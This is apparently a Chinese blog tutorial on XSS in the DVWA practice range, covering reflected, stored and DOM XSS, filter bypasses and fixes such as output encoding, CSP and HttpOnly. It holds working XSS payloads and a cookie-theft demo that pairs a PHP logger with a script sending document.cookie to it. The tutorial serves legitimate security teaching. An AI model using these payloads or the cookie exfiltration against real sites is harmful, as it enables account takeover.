DVWA靶场实战:XSS攻击原理、绕过技巧与修复方略

1. 项目与靶场选择:为什么DVWA是练XSS的好教材

1.1 DVWA是什么,练XSS为什么绕不开它

DVWA(Damn Vulnerable Web Application)是一套开源的Web漏洞靶场,专门用来模拟真实业务里最常见的脆弱点。它把SQL注入、XSS、文件包含、命令执行、CSRF这类漏洞按难度分了Low、Medium、High、Impossible四个等级,让你在本地环境里反复打、反复修。对想搞懂XSS的人来说,DVWA几乎是最常见的一块试验田,原因很简单:它的代码量小,每类漏洞对应的PHP源码就几十行,你完全可以把里面的逻辑掰开揉碎看清楚,而不是像在黑盒靶场里那样只能猜。

很多人学XSS时会有一个误区,觉得“会弹alert就算会XSS了”。但弹窗只是验证执行点存在,真正值钱的是三件事:第一,你清楚输入数据是怎么从浏览器走到页面上的;第二,你明白不同的过滤规则会被哪些编码差异绕过;第三,你知道修复时该在哪个环节下手。DVWA的意义就在于把这三件事压缩到一个可控环境里,你能看到低安全级别的裸奔写法、中安全级别的不完整过滤、高安全级别的相对严苛输出处理,甚至能从Impossible级别看到一套相对正确的编码思路。

练习XSS,逃生需要靠真实业务里的坑,DVWA只是起点。但起点选得好,后面的路会顺很多,因为它能帮你把“类型感”建立起来——反射型、存储型、DOM型这三者各自的数据流向、持久化程度、检测难度完全不一样,如果不在靶场里亲手对比,很难在实战里快速定位。

1.2 需要准备的环境与一个能出效果的测试流程

DVWA依赖PHP和MySQL,最省事的办法是装一套本地Web集成环境。装好之后,把DVWA文档放进Web根目录,访问http://127.0.0.1/dvwa,用默认账号密码登录,再点击底部的“Create / Reset Database”完成初始化,就能开始玩了。有一点要注意,DVWA主页面右上角有一个安全等级切换面板,默认是Impossible,你需要手动切到Low才开始做入门测试,我刚上手时就没注意这点,结果明明提交了<script>alert(1)</script>却没反应,后来才发现是等级太高,输出全被转义了。

建议测试流程是:每个安全等级都先把源码读一遍,再在输入框里提交普通字符串观察回流位置,接着才丢payload。比如在反射型XSS的页面里,你先输入hello,看它出现在哪个标签内,再判断是直接拼在<h1>里还是拼在input的value属性里。两种位置的利用方式完全不同——前者可以直接闭合标签插入<script>,后者往往要用事件属性或者构造"><img src=x onerror=alert(1)>来突破。

另外,建议打开浏览器的开发者工具,把“Preserve log”勾上,这样每次测试跳转时候的请求参数都能留下来。XSS绕来绕去本质上是数据在“输入点—服务端处理—输出位置”三个环节里被逐步改变形态的过程,把HTTP请求和DOM结构对照着看,比光盯着页面本身要容易理解得多。

2. 反射型XSS:URL里的字符串如何变成“可执行代码”

2.1 反射型XSS的漏洞原理与危害边界

反射型XSS也叫非持久性XSS。它的链路是这样的:用户点击一个构造好的链接,参数带着攻击payload一起发到服务端,服务端没做验证,直接把这个参数原样拼接进HTML响应里返回,浏览器解析响应时就把payload当成正经代码执行了。整个过程“提交—返回—执行”一气呵成,漏洞页面本身不存储数据,所以每次攻击都必须依赖用户去点击那个恶意链接。

危害边界在哪里?最大问题是数据不会被服务端保存,攻击者不能等别人自然触发,只能诱导受害者点击精心构造的URL。常见手法有短链接伪装、在论坛帖子里嵌一个看着像普通搜索的链接、或者通过即时通信把链接发给目标。一旦受害者点击,页面就会带着受害者的身份去执行攻击者的JS代码——比如读取会话令牌、模拟表单提交、篡改页面内容、或者把他重定向到仿冒站点。

我在练习时特别喜欢把反射型XSS和普通404页面做对比:一个站点如果对404里echo出来的URL路径不转义,那你同样可以把<script>拼到路径里触发反射型XSS。这类问题在任何“把用户输入原样吐回页面”的地方都可能出现,不仅仅是搜索框,还有错误页、排序参数、分页参数、回调URL等等。习惯了“输入点—输出点”的映射思维之后,你会下意识地检查每一个接收参数并回显的位置。

2.2 DVWA低难度实战:输入点、输出点、执行点

切到Low等级,打开反射型XSS页面,页面上就一个输入框和一个提交按钮。先输入123,提交后地址栏变成?name=123,页面显示“Hello 123”。这里输入点就是name参数,输出点是Hello后面的文本内容,而且它直接拼在了<pre>标签里,没有任何过滤。这时候把name换成下面这段:

<script>alert('reflected-xss')</script>

URL完整写成:

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('reflected-xss')</script>

页面加载后就会弹出reflected-xss。需要注意一个细节,如果你直接把payload填进表单再提交,浏览器URL编码会把尖括号变成%3C和%3E;服务端拿到后用$_GET['name']读取,PHP会自动做一次URL解码,所以代码照样能执行。这也是为什么某些WAF只查原始请求URL里的尖括号却拦不住编码后的payload——解码顺序差一环,拦截就形同虚设。

在Low等级里,攻击点简单明了,但你要趁这个机会把“输入点—输出点—执行点”三个位置分别圈出来。输入点是参数提交处,输出点是Hello后边的HTML文本节点,执行点是浏览器解析<script>标签的JS引擎。修复任意一环,XSS都可能被断掉:不接收恶意输入、转义输出内容、禁用内联脚本,都会让payload失效,区别只是代价不同。

2.3 中高难度绕过:过滤脚本标签但防不住事件属性

Medium等级加了一道过滤。源码大致是这样:

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

很多新手看到str_replace('<script>', '', $input)就觉得稳了,其实这层防护约等于没有。因为过滤只针对<script>这个完整标签,其余标签和事件属性完全没处理。我常用的绕过方式是:

<img src=x onerror=alert(1)>

onerror事件在图片加载失败时触发,src=x故意指向一个不存在的资源,浏览器找不到图片就会执行alert(1)。即便你想保留script概念,也可以利用过滤不够递归的缺陷:

<scr<script>ipt>alert(1)</script>

第一次替换后,内部残留的部分会被拼成<script>,照样执行。Medium的过滤还有一个问题,str_replace区分大小写,服务端如果用的不是PHP的preg_replace加/i修饰符,那你写成<SCRIPT>也能绕过。不过DVWA Medium这里实际用的就是str_replace,大小写绕过是可行的,我在本地就验证过。

High等级就不一样了,它用了更合理的做法:

$name = htmlspecialchars( $_GET[ 'name' ] );

htmlspecialchars默认会把<、>、&、"转成HTML实体,浏览器在解析文本节点时不会把<script>当成标签,所以反射型XSS在这种输出方式下基本失效。演练到这一层,你应该意识到一个关键规律:中低等级的问题出在“用黑名单思路做过滤”,高等级的问题在于“虽然转义了,但只转义了部分字符”。如果你传入的是单引号场景,而输出位置位于单引号包裹的属性值里,防御就可能被击穿——这也是后面章节里编码问题的核心。

3. 存储型XSS:留言板里的“定时炸弹”

3.1 存储型XSS为什么比反射型更危险

存储型XSS的思路完全不同。攻击者的payload不是放在URL里骗你点击,而是直接提交到服务端并写进数据库,后续任何用户访问包含这段数据的页面时,都要中招。如果说反射型是“打一枪换一个地方”,存储型就是“埋雷”,你不知道什么时候会炸,炸的时候炸到谁。

危害升级来自三个维度。一是触发不需要交互,普通用户只要浏览了相应页面就会执行恶意脚本,攻击者甚至不需要再投递恶意链接;二是影响范围广,一个公开的留言板、评论区、昵称字段都能成为传播源,访问者全被覆盖;三是隐蔽性强,payload混在正常业务数据里,如果页面渲染处忘了转义,业务日志里看起来只是一个普通文本,直到发生账号接管才暴露。

所以业内常说存储型XSS是三种类型里优先级最高的——它触及了“数据信任边界”的问题:服务端把用户输入当成了可信内容返回到前端。搞懂这一点,再看很多CMS被挂XSS的新闻,你就知道他们多半是栽在了某个编辑框或评论区的存储型漏洞上。

3.2 用DVWA演示一次Cookie窃取与回传

DVWA的存储型XSS页面就是一个留言板,输入框叫txtName,留言框叫mtxMessage。Low等级直接把输入拼接进<pre>并存储,所以提交一条<script>alert('stored-xss')</script>留言,之后每次刷新页面都会弹窗。这看似和反射型一样,但注意数据来源是数据库,而不是当前请求参数,这才是本质区别。

为了加深印象,我建议做一次完整的“窃取Cookie”实验。需要在同一台机器上再跑一个简单的脚本接收数据,可以用下面这段极简代码:

<?php // cookie.php $cookie = $_GET['cookie']; file_put_contents('cookie_log.txt', $cookie . PHP_EOL, FILE_APPEND); ?>

然后在留言区提交:

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script>

当有管理员或其他用户访问留言页面时,浏览器会带着当前站点的Cookie跳转到cookie.php,这段Cookie就被记录下来。我这里用的是127.0.0.1,实际练习里你也可以改成其他测试域名。需要提示一句:如果是自己搭的靶场,这属于合理范围内的教学实验;但如果目标是未授权系统,那就是违法行为,绝对不要去碰。

这个实验做完之后,趁热打铁去理解两个防护点:第一,Cookie和Session尽量加HttpOnly标记,让document.cookie读不到session值;第二,服务端在输出用户内容时必须转义,从根上让<script>失去可执行环境。

3.3 三个安全级别的防护识别

Medium等级的存储型XSS做了拦截措施,源码里用mysql_real_escape_string给入库的数据做了转义,还用stripslashes去掉了反斜杠,但关键的输出环节没做过滤。同时它对<script>做了替换,但和反射型Medium一样,事件属性和大小写绕过都是开口。我在留言框里用<img src=1 onerror=alert(document.cookie)>,刷新页面后照样弹窗。这说明一个道理:数据库存储层的转义只防守SQL注入,跟XSS这种“存储—读取—渲染”链路不在同一层,缺了最后那一层输出编码,前面的努力都是白搭。

High等级开始用htmlspecialchars来处理昵称和消息字段的输出,看起来安全了不少。但别忘了,htmlspecialchars的默认行为不会转义单引号,如果你只是这样:

$message = htmlspecialchars( $message );

它在双引号属性中还好,一旦输出位置用了单引号包裹,就会被绕过。DVWA High里对htmlspecialchars补了ENT_QUOTES,也就是对单双引号一起处理,所以常规payload打不动。但这并不说明绝对安全——因为DOM里的JS取值、JSON输出场景、富文本编辑器下的白名单逻辑都可能出现新的入口,这也是存储型XSS为什么至今仍是企业安全团队最头疼的问题之一。

4. DOM型XSS:看不见也摸不着的“前端数据污染”

4.1 服务端看不见的攻击:DOM XSS原理

DOM型XSS和前两种有着本质差异。反射型和存储型都是在服务端生成HTML时出了问题,而DOM型XSS的payload根本不需要发给服务端,它是在前端JS代码里读取URL参数、Hash、document.referrer、postMessage等数据,然后把数据直接赋值给innerHTML、document.write、eval这类能执行HTML或JS的API。整个过程请求可能正常到达服务器,服务器可能什么都没做,然后再返回一个静态页面,但页面里的脚本已经执行了。

打个比方,反射型XSS像是饭店把顾客写在纸条上的字直接印进菜单端上来,DOM型则是顾客自己动手在菜单上改菜名,服务员根本不知道。因为恶意代码在浏览器本地完成拼接,所以服务端日志里看不到攻击痕迹,WAF也很难拦截,很多漏扫工具如果只看响应不跑浏览器渲染,就会漏报。

这也是为什么DOM XSS在真实环境中经常被低估。我在一次模拟评估里见过某个前端页面从location.search拿参数填充到搜索结果标题,服务端完全没参与,但攻击者只需要诱导用户打开一个特殊URL,页面标题区域就会执行恶意脚本。它的危害不比反射型小,但排查难得多。

4.2 DOM XSS在DVWA中的三种难度形态

DVWA的DOM型XSS是一个“Select your language”下拉菜单。Low等级的页面JS大概是这样的:

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); document.getElementById("show").innerHTML = lang;

它把URL里default=后面的内容直接写入innerHTML,所以构造:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>

脚本就会执行。Medium等级会把default=参数放到switch里判断,只有匹配到English、French等选项时才继续处理,看起来似乎安全了,但它没做任何编码,仍有绕过手法。我试过把参数值拼成<script>alert(1)</script>,如果switch的default分支会把不匹配内容原样渲染,页面照样执行。关键还是要看源码里innerHTML最终接收了什么。

High等级的DOM XSS往往用了前端框架的部分转义,但有时还是会因为innerHTML、outerHTML、insertAdjacentHTML这类API的高危属性而失守。DVWA的High示例会引导你去看JS这段代码:

// 伪代码示意 document.getElementById("show").innerHTML = decodeURIComponent(location.hash.substring(1));

如果页面只对location.hash做截取,但没对<、>做转义,用#<img src=x onerror=alert(1)>就能命中。真正的修复是用textContent替代innerHTML,或者对赋值内容做HTML实体编码后再插入。

4.3 为什么XSS扫描器经常漏报DOM型

传统漏洞扫描器模拟的是“发送请求—分析响应”的套路,但DOM型XSS既不产生特殊的服务端响应,又完全依赖JS执行结果,所以纯静态扫描经常漏报。要发现这类漏洞,必须使用真正能执行JS的浏览器引擎来做动态爬取,让页面跑起来之后再检查DOM树里是否有可控内容进了敏感API。这提醒我们一件事:依赖自动化扫描远不够,人工审计前端源码,重点关注location、document.URL、window.name这些污点来源,以及innerHTML、eval、document.write这些危险汇聚点,才是靠谱的办法。

我做了一个小习惯,练习完之后把每个触发点记成一张表,包含“来源—汇聚—可利用性—修复方式”四列,后面做代码审计时直接拿着这张表去查,效率高很多。DOM XSS的修复也印证了这一点:前端不能用innerHTML拼接不可信数据,能用textContent就用textContent;如果一定要渲染富文本,宁可走白名单过滤或成熟的前端框架转义,也别手工拼字符串。

5. 修复方案:六层防护把漏洞堵死在源头

5.1 输入验证:白名单比黑名单好一万倍

在服务端对所有参数做校验,能满足业务格式的才接受。比如手机号就只允许数字和+号,用户名就只允许字母、数字、下划线,枚举参数就用数组比对,而不是人去拼一个“危险字符黑名单”。黑名单永远防不完:src、onerror、javascript:、data:、&#x3c;、&#60;……攻击者只要换一种编码、换一个标签、换一个事件,黑名单就漏了。白名单的哲学是“默认拒绝”,只放行明确安全的数据格式。

在PHP里可以这样写一个简单的用户名校验:

if (preg_match( '/^[a-zA-Z0-9_]{2,20}$/', $username )) { // 通过 } else { // 拒绝 }

这个写法直接限制了字符集和长度,攻击者压根没有机会把<送进来。如果是搜索框这类无法严格要求格式的场景,输入验证只能作为第一道闸,真正的必杀技还得靠输出编码。

5.2 输出编码:不同位置选用不同策略

输出编码是XSS修复最核心技术的一层。核心原则是:在HTML标签内输出,就做HTML实体编码;在属性里输出,就针对属性做编码并在外层引号上把关;在JavaScript里输出,就要做JS编码,还要小心</script>闭合;在CSS里输出,要限制url()等危险表达式。

用PHP的htmlspecialchars做演示,最稳的写法是把ENT_QUOTES和字符集都带上:

$safe = htmlspecialchars( $raw, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8' );

这样单引号、双引号、<、>、&全部被转成实体,安全程度比默认写法高一个量级。但注意,htmlspecialchars不能保护所有上下文——如果数据是拼在<script>标签的JS变量里,那得用JSON序列化加JSON_HEX_TAG,把<和>也转成\u003C、\u003E,否则依旧存在</script>提前闭合的风险。

5.3 CSP和其他层:纵深防御才是正解

CSP(内容安全策略)是浏览器层面的安全机制,通过响应头告诉浏览器“页面只能执行哪些来源的脚本”。一个比较保守的策略可以写成:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

它禁止所有内联脚本和外部未知来源脚本,即使攻击者能把<script>插进HTML,浏览器在执行时也会被CSP拒掉。这是一道很有效的兜底防线,但它不是银弹:如果脚本文件被攻击者控制,或者站点本来就要加载第三方CDN的库,CSP配置容易误伤业务,需要花时间打磨策略。

同时还要做几件顺手的事:给Cookie加HttpOnly和Secure标记,让JS无法读取会话关键数据;在App层面增加CSRF Token和敏感操作二次验证,降低XSS被用来“借刀操作”的破坏力;对富文本内容使用成熟的过滤库,比如按标签白名单加属性白名单处理后再输出。层层防御的意义在于,任何一层被突破,后面还有别的兜住。

5.4 修复后的代码示例:从DVWA漏洞页到相对安全的写法

拿DVWA的存储型XSS页面举例。原始Low等级代码基本没防御,修复思路分三步。第一步,服务端接收消息时限制输入长度和字符集,比如只允许常见文本字符;第二步,写入数据库前用参数化查询,避免SQL注入;第三步,输出到HTML时统一走htmlspecialchars再加ENT_QUOTES。

一个骨架示意:

$name = trim( $_POST['name'] ); $message = trim( $_POST['message'] ); if ( mb_strlen( $name ) > 20 || mb_strlen( $message ) > 500 ) { die( '输入长度超限' ); } $stmt = $pdo->prepare( 'INSERT INTO guestbook(name, message) VALUES (?, ?)' ); $stmt->execute( [ $name, $message ] ); $name = htmlspecialchars( $name, ENT_QUOTES, 'UTF-8' ); $message = htmlspecialchars( $message, ENT_QUOTES, 'UTF-8' );

后面渲染时直接输出转义后的变量。这种写法对大多数文本型XSS都有效。如果业务上确实需要让用户发富文本,那就把它当成“需要对内容做清洗”的输入类型,不建议用htmlspecialchars一把梭,也不建议在网上随便找正则过滤就上生产,应该用成熟库按白名单迭代。

6. 踩坑记录与排查心得

6.1 靶场环境报错的常见坑

我在本地搭DVWA时遇到过几次环境问题,这里把最容易踩的三个记下来。第一个是数据库初始化失败,打开页面一直提示无法连接数据库。八成是配置文件里的数据库用户名、密码或库名不对,或者MySQL没启动。我习惯用环境变量区分配置,避免直接改源码把真实数据库带歪。第二个是安全等级切了没生效,刷新之后还是老样子。检查一下登录态是不是丢了,DVWA的安全等级存在SESSION里,重新登录后才会加载最新设置。第三个是页面中文乱码或特殊字符显示异常,通常要保证PHP文件本身是UTF-8无BOM编码,并且页面声明了<meta charset="utf-8">,不然转义后的实体可能显示成乱码。

还有一个小坑是浏览器的XSS过滤干扰。现代浏览器自带xss auditor或类似机制,测试低难度payload时可能看到页面被拦截,这是浏览器在本地“处罚”攻击。为了不干扰学习,可以换一个不启用内置过滤的浏览器配置,或者直接关掉这个保护选项。注意这只是练习环境里的操作,真实浏览器的安全机制不要乱关。

6.2 学习XSS时最容易踩的三个误区

第一个误区是“只记payload不记原理”。网上各种payload库里能搜到几百条,但你得知道哪条对应哪种上下文。同样是<svg onload=alert(1)>和<img src=x onerror=alert(1)>,它们可以互换吗?不一定,在HTML标签内可以,但如果页面把数据拼在JS字符串里,你需要的可能是\x3cscript\x3e。理解了浏览器解析顺序,才能手动组合最贴合的payload。

第二个误区是把“过滤了script就等于防住XSS”当真。DVWA的Medium等级就是教训,它处理了<script>标签,但直接栽在<img onerror>上。真实业务里的过滤规则更复杂,攻击面也更大——大小写、编码嵌套、标签闭合、属性拆分,随便哪个点钻进去都可能绕过去。防御也一样,修XSS不能只堵一个标签,要从编码和数据流向入手。

第三个误区是忽略攻击面越广越容易遗漏的小功能。搜索框、错误消息、文件名回显、导出报告、页面报错堆栈、URL跳转参数,这些全是XSS的温床。我后来在审计时给自己定了一个规矩:凡是“外部数据进入HTML”的位置,一律先问一句“这个数据之前有没有被转义过”,没确认就默认没有。

6.3 把靶场经验转化到真实项目里的方法

练习完之后,怎么把DVWA里学到的东西迁移到真实Web项目里?我会给自己布置一个固定流程:先从功能入口进入,把所有能输入数据的地方列出来;再对每个输入追查它的流转路径,看最终落在哪个输出位置;然后按“HTML上下文、属性上下文、JS上下文、CSS上下文、URL上下文”分类标注,逐个检查是否做了对应编码;最后用浏览器开发者工具手动验证几个可疑点。这套流程在靶场上练熟之后,再做代码审计心里会特别有底。

另外,我会把DVWA里遇到过的每一种绕过形式都记成一条测试用例,例如“双写绕过”“大小写绕过”“事件属性绕过”“编码绕过”“闭合标签绕过”,以后在别的系统做渗透测试时直接复用。这种累积式练习比单纯刷题效果好得多,因为它逼着你把知识点变成可复现的检查清单,而不是零散的记忆碎片。

最后分享一个小技巧:我会用浏览器插件或者临时脚本,把目标站点的所有Cookie改成HttpOnly后重跑XSS payload,观察哪些攻击链失效。这个方法能直观感受到安全属性在纵深防御里的价值,也能帮你判断某个XSS即使无法拿到Cookie,是否还能通过其他方式继续利用——比如修改页面表单提交地址、劫持页面逻辑、伪造操作按钮。XSS的利用永远比想象中的还要多一环,这也是为什么我一直强调不能只拿“能否弹窗”来评估漏洞严重性。

相关新闻

数据库设计核心考点:事务、并发控制与性能优化全解析

数据库设计核心考点:事务、并发控制与性能优化全解析

1. 这一章到底在考什么&#xff1a;先看清下半场的牌面备考系统架构设计师的人都知道&#xff0c;第六章“数据库设计基础知识”是个让人又爱又恨的部分。爱的是它考点相对固定、拿分路径清晰&#xff0c;恨的是内容太碎——尤其是下半部分&#xff0c;事务、并发、恢复、安全、…

2026/10/19 17:40:46 阅读更多 →
AI图像生成五大模型对比:FLUX.2、Seedream、Z-image、Qwen-Image、GLM-Image选型指南

AI图像生成五大模型对比:FLUX.2、Seedream、Z-image、Qwen-Image、GLM-Image选型指南

近几年AI图像生成领域的竞争格局&#xff0c;可以说“月月都在刷新”。前两年大家还在讨论“AI能不能画出手”&#xff0c;现在话题早已升级成“谁的提示词理解更准、谁的风格控制更稳、谁的API更适合作业系统”。这次我想把目前讨论度最高的五个模型——FLUX.2、Seedream&…

2026/10/19 17:40:46 阅读更多 →
Spring Boot+MySQL员工信息管理系统:从数据库设计到部署避坑全指南

Spring Boot+MySQL员工信息管理系统:从数据库设计到部署避坑全指南

由于员工信息管理系统是计算机类毕业设计中出现频率最高的一类选题&#xff0c;很多同学拿到题目之后第一反应是“功能太简单、没啥可写”&#xff0c;但真正动手之后才发现处处是坑&#xff1a;框架版本不兼容、Mapper扫描不到、JSON序列化死循环、部署到服务器之后数据库连不…

2026/10/19 17:40:46 阅读更多 →

最新新闻

DeskcommCRM实战:轻量级客户管理与销售跟进全流程落地指南

DeskcommCRM实战:轻量级客户管理与销售跟进全流程落地指南

1. 项目概述&#xff1a;DeskcommCRM 到底是什么&#xff0c;以及为什么值得关注这两年市面上叫 CRM 的产品多得数不过来&#xff0c;但绝大多数都陷入了一个怪圈&#xff1a;功能越做越重&#xff0c;权限越加越细&#xff0c;你要是只为了管好手头几百个客户&#xff0c;得先…

2026/10/19 23:47:06 阅读更多 →
以沟通为核心的轻量级CRM系统设计与实践

以沟通为核心的轻量级CRM系统设计与实践

一个叫 DeskcommCRM 的项目&#xff0c;听起来有点像某个内部系统的代号&#xff0c;但实际上它代表了一类特别值得聊的东西&#xff1a;以“沟通”为核心的客户关系管理工具。我一开始接触这个项目名的时候&#xff0c;第一反应是“Deskcomm”可能是 Desk Communication 的缩写…

2026/10/19 23:47:06 阅读更多 →
从线程池失控到全局限流:高并发系统稳定性实战指南

从线程池失控到全局限流:高并发系统稳定性实战指南

1. 并发失控的第一现场&#xff1a;线程池是怎么被击穿的先说一个我实际排查过的案例场景。某公司核心交易链路的订单服务&#xff0c;平时性能表现很稳定&#xff0c;高峰期单机支撑上千QPS没有任何压力。但一次大促活动中&#xff0c;下游的库存服务因为数据库连接池被打满&a…

2026/10/19 23:39:50 阅读更多 →
STC单片机范例程序实战指南:从点灯到多外设工程搭建

STC单片机范例程序实战指南:从点灯到多外设工程搭建

简介&#xff1a;这是一份面向嵌入式初学者与单片机开发者的STC单片机C语言范例程序合集&#xff0c;围绕ADC采样、串口通信、EEPROM读写、ISP在系统编程、时钟中断、端口测试及优化编程思想等核心功能展开&#xff0c;适合用于课程实验、自学练手与项目参考。资源包共612个文件…

2026/10/19 23:39:50 阅读更多 →
Kafka全链路性能调优:吞吐量与延迟的实战权衡

Kafka全链路性能调优:吞吐量与延迟的实战权衡

前阵子业务告警群里又炸了——消费延迟从平时的几百毫秒一路飙到分钟级&#xff0c;P99 延迟曲线在监控面板上直接拉成一条陡坡。接手这套 Kafka 系统两年&#xff0c;类似的戏码每隔一阵就重演一次。与其每次都临时救火&#xff0c;不如把全链路参数优化这件事系统捋一遍。这篇…

2026/10/19 23:37:47 阅读更多 →
ZXing.Net 0.16.8.0 条码识别实战:从解码链路到性能调优

ZXing.Net 0.16.8.0 条码识别实战:从解码链路到性能调优

简介&#xff1a;ZXing.Net.0.16.8.0 是面向 C# 与 Unity 开发者的开源条码处理库&#xff0c;基于 Zebra Crossing 项目&#xff0c;可在 .NET 框架与 Unity 引擎中实现 QR 码、Aztec、Code 128、EAN 等多种条码的读取与生成。开发者只需调用少量 API 即可为桌面应用、移动端或…

2026/10/19 23:37:47 阅读更多 →

日新闻

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →